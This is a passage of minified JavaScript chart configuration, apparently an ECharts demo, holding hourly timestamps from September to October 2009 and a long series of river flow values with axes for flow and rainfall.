13:00","2009/9/24 14:00","2009/9/24 15:00","2009/9/24 16:00","2009/9/24 17:00","2009/9/24 18:00","2009/9/24 19:00","2009/9/24 20:00","2009/9/24 21:00","2009/9/24 22:00","2009/9/24 23:00","2009/9/25 0:00","2009/9/25 1:00","2009/9/25 2:00","2009/9/25 3:00","2009/9/25 4:00","2009/9/25 5:00","2009/9/25 6:00","2009/9/25 7:00","2009/9/25 8:00","2009/9/25 9:00","2009/9/25 10:00","2009/9/25 11:00","2009/9/25 12:00","2009/9/25 13:00","2009/9/25 14:00","2009/9/25 15:00","2009/9/25 16:00","2009/9/25 17:00","2009/9/25 18:00","2009/9/25 19:00","2009/9/25 20:00","2009/9/25 21:00","2009/9/25 22:00","2009/9/25 23:00","2009/9/26 0:00","2009/9/26 1:00","2009/9/26 2:00","2009/9/26 3:00","2009/9/26 4:00","2009/9/26 5:00","2009/9/26 6:00","2009/9/26 7:00","2009/9/26 8:00","2009/9/26 9:00","2009/9/26 10:00","2009/9/26 11:00","2009/9/26 12:00","2009/9/26 13:00","2009/9/26 14:00","2009/9/26 15:00","2009/9/26 16:00","2009/9/26 17:00","2009/9/26 18:00","2009/9/26 19:00","2009/9/26 20:00","2009/9/26 21:00","2009/9/26 22:00","2009/9/26 23:00","2009/9/27 0:00","2009/9/27 1:00","2009/9/27 2:00","2009/9/27 3:00","2009/9/27 4:00","2009/9/27 5:00","2009/9/27 6:00","2009/9/27 7:00","2009/9/27 8:00","2009/9/27 9:00","2009/9/27 10:00","2009/9/27 11:00","2009/9/27 12:00","2009/9/27 13:00","2009/9/27 14:00","2009/9/27 15:00","2009/9/27 16:00","2009/9/27 17:00","2009/9/27 18:00","2009/9/27 19:00","2009/9/27 20:00","2009/9/27 21:00","2009/9/27 22:00","2009/9/27 23:00","2009/9/28 0:00","2009/9/28 1:00","2009/9/28 2:00","2009/9/28 3:00","2009/9/28 4:00","2009/9/28 5:00","2009/9/28 6:00","2009/9/28 7:00","2009/9/28 8:00","2009/9/28 9:00","2009/9/28 10:00","2009/9/28 11:00","2009/9/28 12:00","2009/9/28 13:00","2009/9/28 14:00","2009/9/28 15:00","2009/9/28 16:00","2009/9/28 17:00","2009/9/28 18:00","2009/9/28 19:00","2009/9/28 20:00","2009/9/28 21:00","2009/9/28 22:00","2009/9/28 23:00","2009/9/29 0:00","2009/9/29 1:00","2009/9/29 2:00","2009/9/29 3:00","2009/9/29 4:00","2009/9/29 5:00","2009/9/29 6:00","2009/9/29 7:00","2009/9/29 8:00","2009/9/29 9:00","2009/9/29 10:00","2009/9/29 11:00","2009/9/29 12:00","2009/9/29 13:00","2009/9/29 14:00","2009/9/29 15:00","2009/9/29 16:00","2009/9/29 17:00","2009/9/29 18:00","2009/9/29 19:00","2009/9/29 20:00","2009/9/29 21:00","2009/9/29 22:00","2009/9/29 23:00","2009/9/30 0:00","2009/9/30 1:00","2009/9/30 2:00","2009/9/30 3:00","2009/9/30 4:00","2009/9/30 5:00","2009/9/30 6:00","2009/9/30 7:00","2009/9/30 8:00","2009/9/30 9:00","2009/9/30 10:00","2009/9/30 11:00","2009/9/30 12:00","2009/9/30 13:00","2009/9/30 14:00","2009/9/30 15:00","2009/9/30 16:00","2009/9/30 17:00","2009/9/30 18:00","2009/9/30 19:00","2009/9/30 20:00","2009/9/30 21:00","2009/9/30 22:00","2009/9/30 23:00","2009/10/1 0:00","2009/10/1 1:00","2009/10/1 2:00","2009/10/1 3:00","2009/10/1 4:00","2009/10/1 5:00","2009/10/1 6:00","2009/10/1 7:00","2009/10/1 8:00","2009/10/1 9:00","2009/10/1 10:00","2009/10/1 11:00","2009/10/1 12:00","2009/10/1 13:00","2009/10/1 14:00","2009/10/1 15:00","2009/10/1 16:00","2009/10/1 17:00","2009/10/1 18:00","2009/10/1 19:00","2009/10/1 20:00","2009/10/1 21:00","2009/10/1 22:00","2009/10/1 23:00","2009/10/2 0:00","2009/10/2 1:00","2009/10/2 2:00","2009/10/2 3:00","2009/10/2 4:00","2009/10/2 5:00","2009/10/2 6:00","2009/10/2 7:00","2009/10/2 8:00","2009/10/2 9:00","2009/10/2 10:00","2009/10/2 11:00","2009/10/2 12:00","2009/10/2 13:00","2009/10/2 14:00","2009/10/2 15:00","2009/10/2 16:00","2009/10/2 17:00","2009/10/2 18:00","2009/10/2 19:00","2009/10/2 20:00","2009/10/2 21:00","2009/10/2 22:00","2009/10/2 23:00","2009/10/3 0:00","2009/10/3 1:00","2009/10/3 2:00","2009/10/3 3:00","2009/10/3 4:00","2009/10/3 5:00","2009/10/3 6:00","2009/10/3 7:00","2009/10/3 8:00","2009/10/3 9:00","2009/10/3 10:00","2009/10/3 11:00","2009/10/3 12:00","2009/10/3 13:00","2009/10/3 14:00","2009/10/3 15:00","2009/10/3 16:00","2009/10/3 17:00","2009/10/3 18:00","2009/10/3 19:00","2009/10/3 20:00","2009/10/3 21:00","2009/10/3 22:00","2009/10/3 23:00","2009/10/4 0:00","2009/10/4 1:00","2009/10/4 2:00","2009/10/4 3:00","2009/10/4 4:00","2009/10/4 5:00","2009/10/4 6:00","2009/10/4 7:00","2009/10/4 8:00","2009/10/4 9:00","2009/10/4 10:00","2009/10/4 11:00","2009/10/4 12:00","2009/10/4 13:00","2009/10/4 14:00","2009/10/4 15:00","2009/10/4 16:00","2009/10/4 17:00","2009/10/4 18:00","2009/10/4 19:00","2009/10/4 20:00","2009/10/4 21:00","2009/10/4 22:00","2009/10/4 23:00","2009/10/5 0:00","2009/10/5 1:00","2009/10/5 2:00","2009/10/5 3:00","2009/10/5 4:00","2009/10/5 5:00","2009/10/5 6:00","2009/10/5 7:00","2009/10/5 8:00","2009/10/5 9:00","2009/10/5 10:00","2009/10/5 11:00","2009/10/5 12:00","2009/10/5 13:00","2009/10/5 14:00","2009/10/5 15:00","2009/10/5 16:00","2009/10/5 17:00","2009/10/5 18:00","2009/10/5 19:00","2009/10/5 20:00","2009/10/5 21:00","2009/10/5 22:00","2009/10/5 23:00","2009/10/6 0:00","2009/10/6 1:00","2009/10/6 2:00","2009/10/6 3:00","2009/10/6 4:00","2009/10/6 5:00","2009/10/6 6:00","2009/10/6 7:00","2009/10/6 8:00","2009/10/6 9:00","2009/10/6 10:00","2009/10/6 11:00","2009/10/6 12:00","2009/10/6 13:00","2009/10/6 14:00","2009/10/6 15:00","2009/10/6 16:00","2009/10/6 17:00","2009/10/6 18:00","2009/10/6 19:00","2009/10/6 20:00","2009/10/6 21:00","2009/10/6 22:00","2009/10/6 23:00","2009/10/7 0:00","2009/10/7 1:00","2009/10/7 2:00","2009/10/7 3:00","2009/10/7 4:00","2009/10/7 5:00","2009/10/7 6:00","2009/10/7 7:00","2009/10/7 8:00","2009/10/7 9:00","2009/10/7 10:00","2009/10/7 11:00","2009/10/7 12:00","2009/10/7 13:00","2009/10/7 14:00","2009/10/7 15:00","2009/10/7 16:00","2009/10/7 17:00","2009/10/7 18:00","2009/10/7 19:00","2009/10/7 20:00","2009/10/7 21:00","2009/10/7 22:00","2009/10/7 23:00","2009/10/8 0:00","2009/10/8 1:00","2009/10/8 2:00","2009/10/8 3:00","2009/10/8 4:00","2009/10/8 5:00","2009/10/8 6:00","2009/10/8 7:00","2009/10/8 8:00","2009/10/8 9:00","2009/10/8 10:00","2009/10/8 11:00","2009/10/8 12:00","2009/10/8 13:00","2009/10/8 14:00","2009/10/8 15:00","2009/10/8 16:00","2009/10/8 17:00","2009/10/8 18:00","2009/10/8 19:00","2009/10/8 20:00","2009/10/8 21:00","2009/10/8 22:00","2009/10/8 23:00","2009/10/9 0:00","2009/10/9 1:00","2009/10/9 2:00","2009/10/9 3:00","2009/10/9 4:00","2009/10/9 5:00","2009/10/9 6:00","2009/10/9 7:00","2009/10/9 8:00","2009/10/9 9:00","2009/10/9 10:00","2009/10/9 11:00","2009/10/9 12:00","2009/10/9 13:00","2009/10/9 14:00","2009/10/9 15:00","2009/10/9 16:00","2009/10/9 17:00","2009/10/9 18:00","2009/10/9 19:00","2009/10/9 20:00","2009/10/9 21:00","2009/10/9 22:00","2009/10/9 23:00","2009/10/10 0:00","2009/10/10 1:00","2009/10/10 2:00","2009/10/10 3:00","2009/10/10 4:00","2009/10/10 5:00","2009/10/10 6:00","2009/10/10 7:00","2009/10/10 8:00","2009/10/10 9:00","2009/10/10 10:00","2009/10/10 11:00","2009/10/10 12:00","2009/10/10 13:00","2009/10/10 14:00","2009/10/10 15:00","2009/10/10 16:00","2009/10/10 17:00","2009/10/10 18:00","2009/10/10 19:00","2009/10/10 20:00","2009/10/10 21:00","2009/10/10 22:00","2009/10/10 23:00","2009/10/11 0:00","2009/10/11 1:00","2009/10/11 2:00","2009/10/11 3:00","2009/10/11 4:00","2009/10/11 5:00","2009/10/11 6:00","2009/10/11 7:00","2009/10/11 8:00","2009/10/11 9:00","2009/10/11 10:00","2009/10/11 11:00","2009/10/11 12:00","2009/10/11 13:00","2009/10/11 14:00","2009/10/11 15:00","2009/10/11 16:00","2009/10/11 17:00","2009/10/11 18:00","2009/10/11 19:00","2009/10/11 20:00","2009/10/11 21:00","2009/10/11 22:00","2009/10/11 23:00","2009/10/12 0:00","2009/10/12 1:00","2009/10/12 2:00","2009/10/12 3:00","2009/10/12 4:00","2009/10/12 5:00","2009/10/12 6:00","2009/10/12 7:00","2009/10/12 8:00","2009/10/12 9:00","2009/10/12 10:00","2009/10/12 11:00","2009/10/12 12:00","2009/10/12 13:00","2009/10/12 14:00","2009/10/12 15:00","2009/10/12 16:00","2009/10/12 17:00","2009/10/12 18:00","2009/10/12 19:00","2009/10/12 20:00","2009/10/12 21:00","2009/10/12 22:00","2009/10/12 23:00","2009/10/13 0:00","2009/10/13 1:00","2009/10/13 2:00","2009/10/13 3:00","2009/10/13 4:00","2009/10/13 5:00","2009/10/13 6:00","2009/10/13 7:00","2009/10/13 8:00","2009/10/13 9:00","2009/10/13 10:00","2009/10/13 11:00","2009/10/13 12:00","2009/10/13 13:00","2009/10/13 14:00","2009/10/13 15:00","2009/10/13 16:00","2009/10/13 17:00","2009/10/13 18:00","2009/10/13 19:00","2009/10/13 20:00","2009/10/13 21:00","2009/10/13 22:00","2009/10/13 23:00","2009/10/14 0:00","2009/10/14 1:00","2009/10/14 2:00","2009/10/14 3:00","2009/10/14 4:00","2009/10/14 5:00","2009/10/14 6:00","2009/10/14 7:00","2009/10/14 8:00","2009/10/14 9:00","2009/10/14 10:00","2009/10/14 11:00","2009/10/14 12:00","2009/10/14 13:00","2009/10/14 14:00","2009/10/14 15:00","2009/10/14 16:00","2009/10/14 17:00","2009/10/14 18:00","2009/10/14 19:00","2009/10/14 20:00","2009/10/14 21:00","2009/10/14 22:00","2009/10/14 23:00","2009/10/15 0:00","2009/10/15 1:00","2009/10/15 2:00","2009/10/15 3:00","2009/10/15 4:00","2009/10/15 5:00","2009/10/15 6:00","2009/10/15 7:00","2009/10/15 8:00","2009/10/15 9:00","2009/10/15 10:00","2009/10/15 11:00","2009/10/15 12:00","2009/10/15 13:00","2009/10/15 14:00","2009/10/15 15:00","2009/10/15 16:00","2009/10/15 17:00","2009/10/15 18:00","2009/10/15 19:00","2009/10/15 20:00","2009/10/15 21:00","2009/10/15 22:00","2009/10/15 23:00","2009/10/16 0:00","2009/10/16 1:00","2009/10/16 2:00","2009/10/16 3:00","2009/10/16 4:00","2009/10/16 5:00","2009/10/16 6:00","2009/10/16 7:00","2009/10/16 8:00","2009/10/16 9:00","2009/10/16 10:00","2009/10/16 11:00","2009/10/16 12:00","2009/10/16 13:00","2009/10/16 14:00","2009/10/16 15:00","2009/10/16 16:00","2009/10/16 17:00","2009/10/16 18:00","2009/10/16 19:00","2009/10/16 20:00","2009/10/16 21:00","2009/10/16 22:00","2009/10/16 23:00","2009/10/17 0:00","2009/10/17 1:00","2009/10/17 2:00","2009/10/17 3:00","2009/10/17 4:00","2009/10/17 5:00","2009/10/17 6:00","2009/10/17 7:00","2009/10/17 8:00","2009/10/17 9:00","2009/10/17 10:00","2009/10/17 11:00","2009/10/17 12:00","2009/10/17 13:00","2009/10/17 14:00","2009/10/17 15:00","2009/10/17 16:00","2009/10/17 17:00","2009/10/17 18:00","2009/10/17 19:00","2009/10/17 20:00","2009/10/17 21:00","2009/10/17 22:00","2009/10/17 23:00","2009/10/18 0:00","2009/10/18 1:00","2009/10/18 2:00","2009/10/18 3:00","2009/10/18 4:00","2009/10/18 5:00","2009/10/18 6:00","2009/10/18 7:00","2009/10/18 8:00"] +}],yAxis:[{name:"流量(m^3/s)",type:"value",max:500},{name:"降雨量(mm)",type:"value",axisLabel:{formatter:function(e){return-e}}}],series:[{name:"流量",type:"line",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[.97,.96,.96,.95,.95,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.93,.92,.91,.9,.89,.88,.87,.87,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.87,.88,.9,.93,.96,.99,1.03,1.06,1.1,1.14,1.17,1.2,1.23,1.26,1.29,1.33,1.36,1.4,1.43,1.45,1.48,1.49,1.51,1.51,1.5,1.49,1.47,1.44,1.41,1.37,1.34,1.3,1.27,1.24,1.22,1.2,1.19,1.18,1.16,1.15,1.14,1.13,1.12,1.11,1.11,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.09,1.09,1.08,1.07,1.06,1.05,1.04,1.03,1.03,1.02,1.01,1.01,1,.99,.98,.97,.96,.96,.95,.95,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.93,.92,.91,.9,.89,.88,.87,.87,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.85,.84,.83,.82,.81,.8,.8,.79,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.77,.75,.73,.71,.68,.65,.63,.61,.59,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.57,.57,.57,.56,.55,.55,.54,.54,.53,.52,.52,.51,.51,.5,.5,.49,.48,.48,.47,.47,.47,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.46,.52,.67,.9,1.19,1.52,1.87,2.22,2.55,2.84,3.07,3.22,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.28,3.24,3.13,2.97,2.77,2.54,2.3,2.05,1.82,1.62,1.46,1.35,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.31,1.3,1.26,1.21,1.14,1.06,.97,.89,.81,.74,.69,.65,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.63,.63,.62,.62,.61,.6,.59,.59,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.59,.61,.63,.65,.68,.71,.73,.75,.77,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.77,.75,.73,.71,.68,.65,.63,.61,.59,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.58,.59,.59,.6,.61,.62,.62,.63,.63,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.65,.66,.68,.69,.71,.73,.74,.76,.77,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.78,.79,.81,.82,.84,.86,.88,.9,.92,.93,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.94,.93,.92,.91,.9,.89,.88,.87,.87,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.86,.85,.84,.82,.8,.78,.76,.75,.73,.72,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.72,.73,.74,.76,.78,.79,.82,.84,.86,.89,.91,.94,.97,1,1.02,1.05,1.08,1.11,1.14,1.17,1.19,1.22,1.25,1.27,1.29,1.31,1.33,1.35,1.36,1.38,1.39,1.39,1.4,1.4,1.4,1.39,1.37,1.35,1.32,1.29,1.26,1.22,1.18,1.14,1.1,1.05,1.01,.97,.93,.89,.85,.82,.78,.76,.74,.72,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.72,.73,.74,.75,.77,.78,.8,.82,.84,.87,.89,.92,.94,.97,.99,1.02,1.05,1.08,1.1,1.13,1.16,1.18,1.21,1.23,1.26,1.28,1.3,1.32,1.34,1.35,1.37,1.38,1.39,1.4,1.41,1.41,1.42,1.42,1.43,1.43,1.43,1.44,1.44,1.44,1.44,1.45,1.45,1.45,1.46,1.46,1.46,1.47,1.47,1.48,1.48,1.49,1.5,1.51,1.54,1.62,1.73,1.88,2.05,2.24,2.45,2.67,2.89,3.11,3.31,3.51,3.69,3.86,4.03,4.18,4.33,4.48,4.62,4.76,4.89,5.02,5.16,5.29,5.43,5.57,5.71,5.86,6.02,6.18,6.36,6.54,6.73,6.93,7.15,7.38,7.62,7.88,8.16,8.46,8.77,9.11,9.46,9.84,10.24,10.67,11.12,11.6,12.3,13.66,16,38.43,82.21,146.6,218.7,226,225.23,223.08,219.78,212,199.82,184.6,168,151.65,137.21,126.31,119.94,115.52,112.06,108.92,105.44,101,94.56,86.36,77.67,69.76,63.9,60.38,57.41,54.84,52.57,50.56,48.71,46.97,45.25,43.48,41.6,39.5,37.19,34.81,32.46,30.27,28.36,26.85,25.86,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.5,25.27,24.65,23.7,22.52,21.17,19.75,18.33,16.98,15.8,14.85,14.23,14,14.02,14.08,14.17,14.29,14.44,14.61,14.8,15.01,15.23,15.47,15.71,15.95,16.19,16.43,16.67,16.89,17.1,17.29,17.46,17.61,17.73,17.82,17.88,17.9,17.63,16.88,15.75,14.33,12.71,10.98,9.23,7.56,6.05,4.81,3.92,3.47,3.28,3.1,2.93,2.76,2.61,2.46,2.32,2.19,2.07,1.96,1.85,1.75,1.66,1.58,1.51,1.44,1.39,1.34,1.29,1.26,1.23,1.22,1.2,1.2,1.2,1.2,1.2,1.2,1.21,1.21,1.21,1.21,1.22,1.22,1.22,1.23,1.23,1.23,1.24,1.24,1.25,1.25,1.25,1.26,1.26,1.27,1.27,1.27,1.28,1.28,1.28,1.29,1.29,1.29,1.29,1.3,1.3,1.3,1.3,1.3,1.3,1.3,1.3,1.3,1.3,1.3,1.29,1.29,1.29,1.29,1.28,1.28,1.28,1.27,1.27,1.26,1.25,1.25,1.24,1.23,1.23,1.22,1.21,1.2,1.16,1.06,.95,.83,.74,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.71,.7,.7,.7,.7,.7,.7,.7,.7,.7,.7,.7,.69,.69,.69,.69,.69,.69,.69,.69,.68,.68,.68,.68,.68,.68,.67,.67,.67,.67,.67,.67,.67,.66,.66,.66,.66,.66,.66,.66,.65,.65,.65,.65,.65,.65,.65,.65,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.65,.66,.68,.69,.71,.73,.74,.76,.77,.78,.78,.78,.78,.78,.78,.78,.78,.8,.86,.95,1.08,1.25,1.46,1.7,1.97,2.28,2.63,3.01,3.42,3.87,4.35,4.86,5.4,5.98,6.59,7.92,10.49,14.04,18.31,23.04,27.98,32.87,37.45,41.46,44.64,46.74,47.5,46.86,45.16,42.77,40.04,37.33,35,32.74,30.21,27.7,25.5,23.9,23.2,23.06,22.94,22.84,22.77,22.72,22.7,22.8,23.23,23.95,24.91,26.04,27.3,28.76,30.7,33.39,37.12,42.15,48.77,65.22,252.1,257,237.32,221.19,212,208.67,206.89,205.2,202.15,189.82,172,165.3,160.49,156.8,153.44,149.62,144.6,138.27,131,123.11,114.9,106.69,98.79,91.5,85.13,80,75.53,71.03,66.65,62.54,58.85,55.73,53.31,51.75,51.2,56.53,68.25,80,91.01,102.03,109,112.37,115.29,117.68,119.48,120.61,121,119.45,115.57,110.52,105.47,101.58,100,99.97,99.94,99.92,99.9,99.88,99.86,99.85,99.84,99.83,99.82,99.81,99.81,99.8,99.8,99.8,122.15,163.65,186,182.96,175.15,164.56,153.18,143,136,131.37,126.98,122.81,118.85,115.09,111.52,108.13,104.9,101.83,98.9,96.11,93.44,90.87,88.41,86.04,83.74,81.51,79.33,77.2,75.1,73.02,70.95,68.88,66.8,64.87,63.14,61.4,59.53,57.67,56,54.6,53.36,52.2,51.05,49.85,48.5,46.87,44.92,42.74,40.42,38.04,35.69,33.46,31.44,29.72,28.38,27.51,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.2,27.14,26.97,26.7,26.35,25.95,25.49,25.02,24.53,24.04,23.58,23.16,22.8,22.46,22.11,21.75,21.39,21.03,20.69,20.36,20.05,19.78,19.54,19.35,19.2,19.09,19,18.92,18.85,18.79,18.74,18.68,18.62,18.56,18.49,18.4,18.3,18.17,18.02,17.83,17.63,17.41,17.18,16.93,16.68,16.43,16.18,15.93,15.7,15.47,15.22,14.97,14.71,14.45,14.18,13.93,13.68,13.44,13.21,13,12.8,12.62,12.46,12.31,12.16,12.03,11.89,11.76,11.62,11.48,11.33,11.17,11,10.81,10.59,10.36,10.12,9.86,9.61,9.36,9.12,8.89,8.68,8.5,8.35,8.21,8.08,7.94,7.81,7.68,7.56,7.46,7.36,7.29,7.23,7.19,7.18,7.51,8.42,9.81,11.58,13.63,15.86,18.16,20.44,22.58,24.49,26.06,27.2,28.08,28.95,29.81,30.65,31.48,32.28,33.07,33.82,34.55,35.25,35.92,36.56,37.15,37.71,38.23,38.7,39.13,39.5,39.83,40.1,40.31,40.47,40.57,40.6,40.49,40.16,39.64,38.94,38.09,37.1,36,34.79,33.51,32.17,30.79,29.39,27.99,26.6,25.25,23.96,22.75,21.63,20.63,19.76,19.04,18.49,18.14,18,17.97,17.95,17.94,17.92,17.91,17.9,17.89,17.88,17.87,17.85,17.83,17.8,17.7,17.46,17.13,16.7,16.21,15.68,15.13,14.57,14.04,13.56,13.14,12.8,12.52,12.27,12.02,11.79,11.57,11.37,11.16,10.97,10.78,10.59,10.39,10.2,10.01,9.81,9.63,9.44,9.26,9.08,8.9,8.73,8.56,8.39,8.22,8.06,7.9,7.73,7.57,7.41,7.25,7.09,6.94,6.79,6.65,6.52,6.4,6.28,6.17,6.08,5.98,5.9,5.81,5.73,5.65,5.57,5.49,5.41,5.32,5.23,5.14,5.04,4.94,4.84,4.74,4.63,4.53,4.43,4.33,4.23,4.13,4.03,3.93,3.81,3.69,3.57,3.45,3.33,3.22,3.12,3.04,2.98,2.93,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.92,2.9,2.86,2.8,2.71,2.62,2.52,2.42,2.33,2.24,2.18,2.14,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.12,2.1,2.06,2,1.91,1.82,1.71,1.61,1.5,1.4,1.32,1.25,1.2,1.16,1.13,1.1,1.06,1.03,1,.97,.93,.9,.87,.85,.82,.79,.77,.74,.72,.69,.67,.65,.63,.61,.59,.58,.56,.54,.53,.52,.51,.5,.49,.48,.48,.47,.47,.46,.46,.47,.48,.5,.53,.56,.59,.62,.64,.67,.69,.7,.71,.71,.71,.71,.7,.7,.7,.69,.69,.69,.68,.68,.67,.67,.67,.66,.66,.65,.65,.65,.65,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.64,.65,.65,.65,.66,.66,.67,.68,.69,.69,.7,.71,.73,.74,.75,.76,.78,.8,.81,.83,.85,.87,.89,.92,.94,.97,.99,1.02,1.05,1.08,1.11,1.15,1.18,1.32,1.66,2.21,2.97,3.94,5.11,6.5,8.1,9.9,11.92,14.15,16.6,22.3,22.8,24.48,30.38,35.74,42.4,57.14,94.04,112.9,123.4,130.4,130,119.4,120.7,116.8,118.1,119.4,124.8,143.5,204,294,319.2,328.4,365,350.8,347.6,347.6,325,331.6,319.2,308,308,308,308,296.8,300,281,278.4,270.6,271,253.6,233.5,219.2,207.8,205.9,204,189.6,178.8,173.4,160,154.4,146,145,140.5,130.4,126.2,116.8,112.9,106.5,101.6,98.51,82.67,67.3,80.05,76.12,72.3,71.02,69.78,67.3,67.3,68.54,57.6,71.02,66.06,59.12,57.14,55.16,55.16,52.19,52.19,51.2,48.56,44.16,43,45.92,49.44,44.16,36.48,35.74,35,32.36,37.22,32.36,32.36,32.36,33.68,32.36,31.7,35.74,29.72,32.36,30.38,29.72,28.4,28.4,28.4,27.28,25.6,25.04,23.92,22.3,21.8,21.8,21.8,22.8,21.8,25.6,22.8,22.8,17.8,16.04,16.04,16.04,16.04,16.04,16.04,16.04,16.04,16.04,16.04,15.02,14,14.03,14.11,14.25,14.45,14.72,15.06,15.46,15.95,16.51,17.15,17.87,18.69,19.59,20.59,21.69,22.88,24.18,25.59,27.1,28.73,30.48,32.34,34.33,36.44,38.69,41.06,43.57,46.22,49.01,51.95,55.04,58.27,61.66,65.21,68.92,72.8,88.09,104.9,105.7,110.3,111.6,110.3,106.5,105.7,103.3,100,97.02,98.8,91.07,83.98,88.09,81.36,78.74,77.43,77.43,73.5,74.81,72.63,68.58,66.4,68.54,69.78,67.3,64.82,61.1,59.12,56.15,53.18,50.32,49.44,44.16,36.5,42.4,37.96,37.22,33.68,36.48,35.74,35,35,37.22,37.22,39.44,32.6,34.54,36.48,35.74,34.34,33.68,33.02,31.04,29.72,29.72,29.72,26.16,25.6,29.72,18.3,22.3,21.3,21.8,21.8,20.3,20.8,25.04,25.04,25.6,25.6,25.04,25.6,25.04,25.6,23.92,25.04,21.3,21.8,22.3,21.8,20.8,16.1,20.3,18.3,13.22,19.3,19.3,18.3,14.4,13.